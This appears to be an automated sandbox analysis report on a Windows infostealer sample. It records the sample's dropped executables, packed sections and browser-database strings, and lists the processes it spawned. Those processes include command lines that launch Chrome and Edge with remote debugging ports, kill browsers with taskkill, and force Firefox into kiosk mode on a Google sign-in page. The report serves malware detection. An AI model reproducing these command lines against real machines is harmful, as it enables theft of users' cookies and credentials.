Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618250	0_2_6C618250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658220	0_2_6C658220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A210	0_2_6C64A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7062C0	0_2_6C7062C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E2B0	0_2_6C64E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69C360	0_2_6C69C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616370	0_2_6C616370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C588340	0_2_6C588340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2370	0_2_6C6C2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C582370	0_2_6C582370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2320	0_2_6C5F2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D43E0	0_2_6C5D43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DE3B0	0_2_6C5DE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B23A0	0_2_6C5B23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C583C40	0_2_6C583C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9C40	0_2_6C6A9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C591C30	0_2_6C591C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C641CE0	0_2_6C641CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDCD0	0_2_6C6BDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61FC80	0_2_6C61FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3D00	0_2_6C5E3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C651DC0	0_2_6C651DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C573D80	0_2_6C573D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9D90	0_2_6C6C9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C705E60	0_2_6C705E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBE70	0_2_6C6DBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68DE10	0_2_6C68DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A3EC0	0_2_6C5A3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D7F20	0_2_6C6D7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C575F30	0_2_6C575F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5F20	0_2_6C5B5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62BFF0	0_2_6C62BFF0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0068E530	25_2_0068E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C8860	25_2_006C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C7049	25_2_006C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C78BB	25_2_006C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C2D10	25_2_006C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00684DE0	25_2_00684DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C31A8	25_2_006C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_00684B30	25_2_00684B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006B7F36	25_2_006B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006C779B	25_2_006C779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5A9B10 appears 72 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5A3620 appears 66 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C70DAE0 appears 57 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6B9F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C70D930 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7009D0 appears 256 times

Source: random[1].exe.25.dr	Static PE information: Data appended to the last section found
Source: 514a61fbeb.exe.25.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2575203848.000000002371D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2584223996.000000006F8F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: vrtduuah ZLIB complexity 0.9946846625884888
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998030909400545
Source: random[1].exe.0.dr	Static PE information: Section: ahcdwdtv ZLIB complexity 0.9950318002088928
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998030909400545
Source: DocumentsIDHCGDAFBK.exe.0.dr	Static PE information: Section: ahcdwdtv ZLIB complexity 0.9950318002088928
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.998030909400545
Source: skotes.exe.22.dr	Static PE information: Section: ahcdwdtv ZLIB complexity 0.9950318002088928
Source: random[1].exe0.25.dr	Static PE information: Section: dvdrndmu ZLIB complexity 0.9943711428206252
Source: f979933b17.exe.25.dr	Static PE information: Section: dvdrndmu ZLIB complexity 0.9943711428206252
Source: lll[1].exe.25.dr	Static PE information: Section: ZLIB complexity 0.9992763831967213
Source: lll[1].exe.25.dr	Static PE information: Section: lbasanxu ZLIB complexity 0.9943653987004206
Source: lll.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9992763831967213
Source: lll.exe.25.dr	Static PE information: Section: lbasanxu ZLIB complexity 0.9943653987004206
Source: random[2].exe.25.dr	Static PE information: Section: ZLIB complexity 0.9992891905737705
Source: random[2].exe.25.dr	Static PE information: Section: cmkobnzi ZLIB complexity 0.9947947985568251
Source: 954f709e67.exe.25.dr	Static PE information: Section: ZLIB complexity 0.9992891905737705
Source: 954f709e67.exe.25.dr	Static PE information: Section: cmkobnzi ZLIB complexity 0.9947947985568251
Source: random[1].exe1.25.dr	Static PE information: Section: vrtduuah ZLIB complexity 0.9946846625884888
Source: 97aac85e85.exe.25.dr	Static PE information: Section: vrtduuah ZLIB complexity 0.9946846625884888

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@111/325@63/29

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5E0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C5E0300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\JD3OJBMT.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8828:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3008:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8864:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\abfbdcae-fa06-4549-916c-894fd93860d9.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE timestamp BETWEEN date(:dateFrom) AND date(:dateTo);
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE events (id INTEGER PRIMARY KEY, type INTEGER NOT NULL, count INTEGER NOT NULL, timestamp DATE );
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INSERT INTO events (type, count, timestamp) VALUES (:type, 1, date(:date));
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE517000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Updated Import Infrequent Rollout - Make Yourself At Home CopyUPDATE moz_inputhistory SET use_count = use_count * :decay_ratefirefox-desktop-upgradeDialog-no_targeting-rollout-1DELETE FROM moz_inputhistory WHERE use_count < :use_count^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$^#(?:\/(?:[a-z0-9_\-.!$&'()+,;:=@]\|%[0-9a-f]{2}\|~0\|~1))*$Public name of the experiment displayed on "about:studies"^(\d\d):(\d\d):(\d\d)(\.\d+)?(z\|[+-]\d\d(?::?\d\d)?)?$Experimenting on onboarding content when you upgrade Firefox.resource://gre/modules/PlacesFrecencyRecalculator.sys.mjsVersion of the NimbusExperiment schema this experiment refers toA list of outcomes relevant to the experiment analysis.chrome://global/content/third_party/cfworker/json-schema.jsbrowser.safebrowsing.features.cryptomining.update
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT timestamp FROM events ORDER BY timestamp ASC LIMIT 1;
Source: file.exe, file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;
Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT sum(count) FROM events;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: UPDATE events SET count = count + 1 WHERE id = :id;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2238503340.000000001D4A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2325897615.000000001D499000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3044743698.0000000005837000.00000004.00000800.00020000.00000000.sdmp, lll.exe, 0000001C.00000003.3017585436.0000000005819000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3102719897.0000000005AE4000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3103674655.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3130100694.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3268260038.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3227941397.0000000005D45000.00000004.00000800.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000003.3224841592.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: firefox.exe, 0000002F.00000002.3676037798.00000214FE58C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT * FROM events WHERE type = :type AND timestamp = date(:date);
Source: file.exe, 00000000.00000002.2563475337.000000001D5AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2582082262.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: file.exe	ReversingLabs: Detection: 50%
Source: file.exe	Virustotal: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIDHCGDAFBK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 --field-trial-handle=2212,i,7478136807645750746,17014002527103240084,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2312,i,5981494348251301959,4375700475387197058,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2784 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6512 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6996 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHCGDAFBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHCGDAFBK.exe "C:\Users\user\DocumentsIDHCGDAFBK.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7252 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe "C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe "C:\Users\user\AppData\Local\Temp\1008303001\lll.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7288 --field-trial-handle=2492,i,658567257854944745,5466770528173167105,262144 /prefetch:3
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe "C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe"
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2192 -parentBuildID 20230927232528 -prefsHandle 2100 -prefMapHandle 2080 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4bb5573-6e71-4f9d-8f1c-90fb1917cb05} 8356 "\\.\pipe\gecko-crash-server-pipe.8356" 214ed06f110 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
